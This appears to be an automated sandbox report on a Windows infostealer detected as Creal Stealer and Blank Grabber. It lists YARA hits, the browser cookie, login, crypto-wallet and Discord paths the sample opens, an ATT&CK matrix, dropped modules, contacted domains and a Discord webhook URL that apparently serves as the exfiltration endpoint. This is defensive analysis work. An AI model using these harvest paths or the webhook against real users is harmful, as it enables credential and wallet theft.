Source: C:\Users\user\Desktop\Creal.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI56762\setuptools\_vendor VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Creal.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI56762 VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Creal.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI56762\setuptools\_vendor VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Creal.exe	Queries volume information: C:\Users\user\Desktop\Creal.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Creal.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI56762\setuptools\_vendor\jaraco\text\Lorem ipsum.txt VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Creal.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI56762\setuptools\_vendor\jaraco\text\Lorem ipsum.txt VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Creal.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI56762 VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Creal.exe	Queries volume information: C:\Users\user\Desktop\Creal.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Creal.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI56762\setuptools\_vendor VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Creal.exe	Queries volume information: C:\Users\user\Desktop\Creal.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Creal.exe	Queries volume information: C:\Users\user\Desktop\Creal.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Creal.exe	Queries volume information: C:\Users\user\Desktop\Creal.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Creal.exe	Queries volume information: C:\Users\user\Desktop\Creal.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Creal.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI56762 VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Creal.exe	Queries volume information: C:\Users\user\Desktop\Creal.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Creal.exe	Queries volume information: C:\Users\user\Desktop\Creal.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Creal.exe	Queries volume information: C:\Users\user\Desktop\Creal.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Creal.exe	Queries volume information: C:\Users\user\Desktop\Creal.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Creal.exe	Queries volume information: C:\Users\user\Desktop\Creal.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Creal.exe	Queries volume information: C:\Users\user\Desktop\Creal.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Creal.exe	Queries volume information: C:\Users\user\Desktop\Creal.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Creal.exe	Queries volume information: C:\Users\user\Desktop\Creal.exe VolumeInformation	Jump to behavior

Source: C:\Users\user\Desktop\#U0416#U0430#U0440#U043a#U043e#U0432#U0430 .exe

Code function: 0_2_00007FF6063A400C GetCommandLineW,OpenFileMappingW,MapViewOfFile,UnmapViewOfFile,MapViewOfFile,UnmapViewOfFile,CloseHandle,SetEnvironmentVariableW,GetLocalTime,swprintf,SetEnvironmentVariableW,GetModuleHandleW,LoadIconW,DialogBoxParamW,Sleep,DeleteObject,DeleteObject,CloseHandle,OleUninitialize,_invalid_parameter_noinfo_noreturn,_invalid_parameter_noinfo_noreturn,_invalid_parameter_noinfo_noreturn,_invalid_parameter_noinfo_noreturn,

0_2_00007FF6063A400C

Source: C:\Users\user\Desktop\Creal.exe

Code function: 2_2_00007FF6D9265C00 _get_daylight,_get_daylight,_get_daylight,_get_daylight,_get_daylight,GetTimeZoneInformation,

2_2_00007FF6D9265C00

Source: C:\Users\user\Desktop\#U0416#U0430#U0440#U043a#U043e#U0432#U0430 .exe

Code function: 0_2_00007FF606386768 GetVersionExW,

0_2_00007FF606386768

Stealing of Sensitive Information

Yara detected Blank Grabber

Source: Yara match	File source: 00000003.00000003.2109058666.00000124EBC34000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000003.00000003.2109058666.00000124EBC32000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000003.2126560706.000002D966CE3000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000002.2163800806.000002D966E30000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: Built.exe PID: 2760, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: Built.exe PID: 2536, type: MEMORYSTR
Source: Yara match	File source: C:\Users\user\AppData\Local\Temp\_MEI27602\rarreg.key, type: DROPPED

Yara detected Creal Stealer

Source: Yara match	File source: 00000019.00000002.3354239060.00000227B8F10000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000005.00000002.2425561292.00000203E8210000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY

Found many strings related to Crypto-Wallets (likely being stolen)

Source: Built.exe, 00000004.00000003.2126560706.000002D966CE3000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Electrum
Source: Built.exe, 00000004.00000003.2126560706.000002D966CE3000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Jaxxz
Source: Built.exe, 00000004.00000003.2126560706.000002D966CE3000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Exodusz
Source: Built.exe, 00000004.00000003.2126560706.000002D966CE3000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Ethereum
Source: Built.exe, 00000004.00000003.2126560706.000002D966CE3000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: keystore

Tries to harvest and steal browser information (history, passwords, etc)

Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Creal.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Network\Cookies
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Creal.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Creal.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nkbihfbeogaeaoehlefnkodbefgpgknn
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Creal.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Creal.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome SxS\User Data\Default\Local Extension Settings\nkbihfbeogaeaoehlefnkodbefgpgknn
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Creal.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Storage\leveldb\000003.log
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Creal.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\Cookies

Tries to steal Crypto Currency Wallets

Source: C:\Users\user\Desktop\Creal.exe	File opened: C:\Users\user\AppData\Roaming\atomic\Local Storage\leveldb	Jump to behavior
Source: C:\Users\user\Desktop\Creal.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet	Jump to behavior
Source: C:\Users\user\Desktop\Creal.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Creal.exe	File opened: C:\Users\user\AppData\Roaming\atomic\Local Storage\leveldb
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Creal.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Creal.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet

Tries to steal communication platform credentials (via file / registry access)

Source: C:\Users\user\Desktop\Creal.exe	File opened: C:\Users\user\AppData\Local\Discord	Jump to behavior
Source: C:\Users\user\Desktop\Creal.exe	File opened: C:\Users\user\AppData\Local\DiscordCanary	Jump to behavior
Source: C:\Users\user\Desktop\Creal.exe	File opened: C:\Users\user\AppData\Local\DiscordPTB	Jump to behavior
Source: C:\Users\user\Desktop\Creal.exe	File opened: C:\Users\user\AppData\Local\DiscordDevelopment	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Creal.exe	File opened: C:\Users\user\AppData\Local\Discord
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Creal.exe	File opened: C:\Users\user\AppData\Local\DiscordCanary
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Creal.exe	File opened: C:\Users\user\AppData\Local\DiscordPTB
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Creal.exe	File opened: C:\Users\user\AppData\Local\DiscordDevelopment

Source: Yara match

File source: Process Memory Space: Built.exe PID: 2536, type: MEMORYSTR

Remote Access Functionality

Yara detected Blank Grabber

Source: Yara match	File source: 00000003.00000003.2109058666.00000124EBC34000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000003.00000003.2109058666.00000124EBC32000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000003.2126560706.000002D966CE3000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000002.2163800806.000002D966E30000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: Built.exe PID: 2760, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: Built.exe PID: 2536, type: MEMORYSTR
Source: Yara match	File source: C:\Users\user\AppData\Local\Temp\_MEI27602\rarreg.key, type: DROPPED

Yara detected Creal Stealer

Source: Yara match	File source: 00000019.00000002.3354239060.00000227B8F10000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000005.00000002.2425561292.00000203E8210000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY

Source: C:\Users\user\Desktop\Creal.exe	Code function: 5_2_00007FFD8A1F6674 PyFloat_Type,PyUnicode_AsUTF8AndSize,sqlite3_bind_text,PyObject_CheckBuffer,PyErr_Format,sqlite3_bind_null,PyObject_GetBuffer,PyExc_OverflowError,PyErr_SetString,PyBuffer_Release,sqlite3_bind_blob,PyBuffer_Release,PyExc_OverflowError,PyErr_SetString,PyFloat_AsDouble,PyErr_Occurred,sqlite3_bind_double,PyErr_Occurred,sqlite3_bind_int64,		5_2_00007FFD8A1F6674
Source: C:\Users\user\Desktop\Creal.exe	Code function: 5_2_00007FFD8A1F49F0 PyEval_SaveThread,sqlite3_bind_parameter_count,PyEval_RestoreThread,PyTuple_Type,sqlite3_bind_parameter_name,PyLong_Type,PyFloat_Type,PyUnicode_Type,PyUnicode_AsUTF8AndSize,sqlite3_bind_text,PyLong_AsLongLongAndOverflow,sqlite3_bind_int64,PyTuple_Pack,PyDict_GetItemRef,_Py_Dealloc,PyObject_GetOptionalAttr,PyObject_GetOptionalAttr,PyLong_Type,PyFloat_Type,PyUnicode_Type,PyType_IsSubtype,PyObject_CheckBuffer,PyObject_GetBuffer,sqlite3_bind_blob,PyBuffer_Release,PyEval_SaveThread,sqlite3_bind_parameter_name,PyEval_RestoreThread,PyMapping_GetOptionalItemString,sqlite3_bind_null,PyFloat_AsDouble,sqlite3_bind_double,PyList_GetItem,PyExc_DeprecationWarning,PyErr_WarnFormat,PyErr_GetRaisedException,sqlite3_db_handle,_PyErr_ChainExceptions1,PyObject_CallOneArg,_Py_Dealloc,PyErr_Occurred,PyErr_Occurred,PyErr_Format,PyObject_CallOneArg,_Py_Dealloc,PyExc_TypeError,PyErr_ExceptionMatches,PyErr_Clear,PyExc_OverflowError,PyErr_SetString,PySequence_Check,PyTuple_Type,PyErr_GetRaisedException,sqlite3_db_handle,_PyErr_ChainExceptions1,PySequence_Size,PyErr_Format,PyErr_Occurred,PyErr_Format,PyErr_Format,PyErr_SetString,PySequence_GetItem,_Py_Dealloc,_Py_Dealloc,_Py_Dealloc,PyExc_LookupError,PyErr_ExceptionMatches,_Py_Dealloc,_Py_Dealloc,PyObject_CallOneArg,_Py_Dealloc,_Py_Dealloc,PyExc_TypeError,PyErr_ExceptionMatches,PyErr_Clear,_Py_Dealloc,PyExc_OverflowError,PyErr_SetString,PyBuffer_Release,PyExc_OverflowError,PyErr_SetString,PyErr_Occurred,		5_2_00007FFD8A1F49F0

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	11 Windows Management Instrumentation	1 DLL Side-Loading	1 Exploitation for Privilege Escalation	3 Disable or Modify Tools	1 OS Credential Dumping	2 System Time Discovery	Remote Services	1 Archive Collected Data	1 Ingress Tool Transfer	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	2 Native API	12 Registry Run Keys / Startup Folder	1 DLL Side-Loading	1 Deobfuscate/Decode Files or Information	LSASS Memory	3 File and Directory Discovery	Remote Desktop Protocol	3 Data from Local System	22 Encrypted Channel	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	12 Command and Scripting Interpreter	Logon Script (Windows)	11 Process Injection	21 Obfuscated Files or Information	Security Account Manager	45 System Information Discovery	SMB/Windows Admin Shares	1 Email Collection	2 Non-Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	12 Registry Run Keys / Startup Folder	21 Software Packing	NTDS	131 Security Software Discovery	Distributed Component Object Model	Input Capture	3 Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	1 Timestomp	LSA Secrets	2 Process Discovery	SSH	Keylogging	Fallback Channels	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	1 DLL Side-Loading	Cached Domain Credentials	41 Virtualization/Sandbox Evasion	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	1 Masquerading	DCSync	1 Application Window Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery
Network Trust Dependencies	Serverless	Drive-by Compromise	Container Orchestration Job	Scheduled Task/Job	Scheduled Task/Job	41 Virtualization/Sandbox Evasion	Proc Filesystem	1 System Network Configuration Discovery	Cloud Services	Credential API Hooking	Application Layer Protocol	Exfiltration Over Alternative Protocol	Defacement
Network Topology	Malvertising	Exploit Public-Facing Application	Command and Scripting Interpreter	At	At	11 Process Injection	/etc/passwd and /etc/shadow	Network Sniffing	Direct Cloud VM Connections	Data Staged	Web Protocols	Exfiltration Over Symmetric Encrypted Non-C2 Protocol	Internal Defacement

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
#U0416#U0430#U0440#U043a#U043e#U0432#U0430 .exe	32%	ReversingLabs	Win64.Trojan.ReverseShell

Dropped Files

Source	Detection	Scanner
C:\Users\user\AppData\Local\Temp\_MEI27602\VCRUNTIME140.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\_MEI27602\_bz2.pyd	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\_MEI27602\_ctypes.pyd	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\_MEI27602\_decimal.pyd	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\_MEI27602\_hashlib.pyd	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\_MEI27602\_lzma.pyd	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\_MEI27602\_queue.pyd	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\_MEI27602\_socket.pyd	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\_MEI27602\_sqlite3.pyd	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\_MEI27602\_ssl.pyd	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\_MEI27602\libcrypto-3.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\_MEI27602\libffi-8.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\_MEI27602\libssl-3.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\_MEI27602\python312.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\_MEI27602\rar.exe	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\_MEI27602\select.pyd	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\_MEI27602\sqlite3.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\_MEI27602\unicodedata.pyd	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\_MEI42362\Crypto\Cipher\_ARC4.pyd	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\_MEI42362\Crypto\Cipher\_Salsa20.pyd	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\_MEI42362\Crypto\Cipher\_chacha20.pyd	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\_MEI42362\Crypto\Cipher\_pkcs1_decode.pyd	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\_MEI42362\Crypto\Cipher\_raw_aes.pyd	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\_MEI42362\Crypto\Cipher\_raw_aesni.pyd	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\_MEI42362\Crypto\Cipher\_raw_arc2.pyd	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\_MEI42362\Crypto\Cipher\_raw_blowfish.pyd	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\_MEI42362\Crypto\Cipher\_raw_cast.pyd	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\_MEI42362\Crypto\Cipher\_raw_cbc.pyd	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\_MEI42362\Crypto\Cipher\_raw_cfb.pyd	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\_MEI42362\Crypto\Cipher\_raw_ctr.pyd	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\_MEI42362\Crypto\Cipher\_raw_des.pyd	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\_MEI42362\Crypto\Cipher\_raw_des3.pyd	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\_MEI42362\Crypto\Cipher\_raw_ecb.pyd	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\_MEI42362\Crypto\Cipher\_raw_eksblowfish.pyd	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\_MEI42362\Crypto\Cipher\_raw_ocb.pyd	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\_MEI42362\Crypto\Cipher\_raw_ofb.pyd	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\_MEI42362\Crypto\Hash\_BLAKE2b.pyd	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\_MEI42362\Crypto\Hash\_BLAKE2s.pyd	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\_MEI42362\Crypto\Hash\_MD2.pyd	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\_MEI42362\Crypto\Hash\_MD4.pyd	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\_MEI42362\Crypto\Hash\_MD5.pyd	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\_MEI42362\Crypto\Hash\_RIPEMD160.pyd	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\_MEI42362\Crypto\Hash\_SHA1.pyd	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\_MEI42362\Crypto\Hash\_SHA224.pyd	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\_MEI42362\Crypto\Hash\_SHA256.pyd	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\_MEI42362\Crypto\Hash\_SHA384.pyd	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\_MEI42362\Crypto\Hash\_SHA512.pyd	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\_MEI42362\Crypto\Hash\_ghash_clmul.pyd	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\_MEI42362\Crypto\Hash\_ghash_portable.pyd	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\_MEI42362\Crypto\Hash\_keccak.pyd	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\_MEI42362\Crypto\Hash\_poly1305.pyd	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\_MEI42362\Crypto\Math\_modexp.pyd	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\_MEI42362\Crypto\Protocol\_scrypt.pyd	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\_MEI42362\Crypto\PublicKey\_curve25519.pyd	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\_MEI42362\Crypto\PublicKey\_curve448.pyd	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\_MEI42362\Crypto\PublicKey\_ec_ws.pyd	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\_MEI42362\Crypto\PublicKey\_ed25519.pyd	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\_MEI42362\Crypto\PublicKey\_ed448.pyd	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\_MEI42362\Crypto\Util\_cpuid_c.pyd	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\_MEI42362\Crypto\Util\_strxor.pyd	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\_MEI42362\VCRUNTIME140.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\_MEI42362\VCRUNTIME140_1.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\_MEI42362\_asyncio.pyd	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\_MEI42362\_bz2.pyd	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\_MEI42362\_cffi_backend.cp313-win_amd64.pyd	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\_MEI42362\_ctypes.pyd	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\_MEI42362\_decimal.pyd	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\_MEI42362\_hashlib.pyd	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\_MEI42362\_lzma.pyd	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\_MEI42362\_multiprocessing.pyd	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\_MEI42362\_overlapped.pyd	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\_MEI42362\_queue.pyd	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\_MEI42362\_socket.pyd	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\_MEI42362\_sqlite3.pyd	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\_MEI42362\_ssl.pyd	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\_MEI42362\_uuid.pyd	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\_MEI42362\_wmi.pyd	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\_MEI42362\cryptography\hazmat\bindings\_rust.pyd	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\_MEI42362\libcrypto-3.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\_MEI42362\libffi-8.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\_MEI42362\libssl-3.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\_MEI42362\pyexpat.pyd	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\_MEI42362\python3.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\_MEI42362\python313.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\_MEI42362\select.pyd	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\_MEI42362\sqlite3.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\_MEI42362\unicodedata.pyd	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\_MEI56762\Crypto\Cipher\_ARC4.pyd	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\_MEI56762\Crypto\Cipher\_Salsa20.pyd	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\_MEI56762\Crypto\Cipher\_chacha20.pyd	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\_MEI56762\Crypto\Cipher\_pkcs1_decode.pyd	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\_MEI56762\Crypto\Cipher\_raw_aes.pyd	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\_MEI56762\Crypto\Cipher\_raw_aesni.pyd	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\_MEI56762\Crypto\Cipher\_raw_arc2.pyd	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\_MEI56762\Crypto\Cipher\_raw_blowfish.pyd	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\_MEI56762\Crypto\Cipher\_raw_cast.pyd	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\_MEI56762\Crypto\Cipher\_raw_cbc.pyd	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\_MEI56762\Crypto\Cipher\_raw_cfb.pyd	0%	ReversingLabs

Source	Detection	Scanner	Label
http://repository.swisssign.com/C	0%	Avira URL Cloud	safe
https://en.wikipeT	0%	Avira URL Cloud	safe
https://setuptools.pypa.io/en/latest/0	0%	Avira URL Cloud	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Reputation
ip-api.com	208.95.112.1	true	false	high
api.ipify.org	104.26.12.205	true	false	high
geolocation-db.com	159.89.102.253	true	false	high
ifconfig.me	34.160.111.145	true	false	high
api.gofile.io	45.112.123.126	true	false	high
blank-v1rwt.in	unknown	unknown	true	unknown

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
http://ifconfig.me/	false		high

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
https://github.com/Blank-c/BlankOBF	Built.exe, 00000004.00000003.2125669838.000002D966CA9000.00000004.00000020.00020000.00000000.sdmp, Built.exe, 00000004.00000003.2125383539.000002D967B3D000.00000004.00000020.00020000.00000000.sdmp, Built.exe, 00000004.00000003.2124952613.000002D966CE5000.00000004.00000020.00020000.00000000.sdmp	false		high
https://discord.com/api/webhooks/1304534397680357396/jwWT3Q8Ovv9Vvgd-RNJrwcYvcpgO5pbMYyd8C4eotXdFUJq	Built.exe, 00000004.00000002.2170655566.000002D967C30000.00000004.00001000.00020000.00000000.sdmp, Creal.exe, 00000005.00000002.2425292105.00000203E8110000.00000004.00001000.00020000.00000000.sdmp	false		high
http://repository.swisssign.com/C	Creal.exe, 00000005.00000003.2402674199.00000203E77B0000.00000004.00000020.00020000.00000000.sdmp, Creal.exe, 00000005.00000003.2375493064.00000203E77B0000.00000004.00000020.00020000.00000000.sdmp, Creal.exe, 00000005.00000002.2418580298.00000203E77B0000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://github.com/astral-sh/ruff	Creal.exe, 00000002.00000003.2128050929.0000016B5EEB7000.00000004.00000020.00020000.00000000.sdmp	false		high
https://setuptools.pypa.io/en/latest/references/keywords.html#keyword-namespace-packages	Creal.exe, 00000005.00000002.2418294898.00000203E76A0000.00000004.00001000.00020000.00000000.sdmp	false		high
https://github.com/python/importlib_metadata/actions/workflows/main.yml/badge.svg	Creal.exe, 00000002.00000003.2128050929.0000016B5EEB7000.00000004.00000020.00020000.00000000.sdmp	false		high
https://coinbase.com)	Creal.exe, 00000005.00000002.2425561292.00000203E8210000.00000004.00001000.00020000.00000000.sdmp	false		high
https://geolocation-db.com/jsonp/NoneP	Creal.exe, 00000005.00000002.2416296519.00000203E6F10000.00000004.00001000.00020000.00000000.sdmp	false		high
https://github.com/python/importlib_metadata/issues	Creal.exe, 00000002.00000003.2128050929.0000016B5EEB7000.00000004.00000020.00020000.00000000.sdmp	false		high
https://tiktok.com)	Creal.exe, 00000005.00000002.2425561292.00000203E8210000.00000004.00001000.00020000.00000000.sdmp	false		high
http://repository.swisssign.com/0	Creal.exe, 00000005.00000003.2414506269.00000203E77EE000.00000004.00000020.00020000.00000000.sdmp, Creal.exe, 00000005.00000003.2374358999.00000203E77E8000.00000004.00000020.00020000.00000000.sdmp, Creal.exe, 00000005.00000003.2374144942.00000203E77BD000.00000004.00000020.00020000.00000000.sdmp, Creal.exe, 00000005.00000002.2418580298.00000203E77EE000.00000004.00000020.00020000.00000000.sdmp	false		high
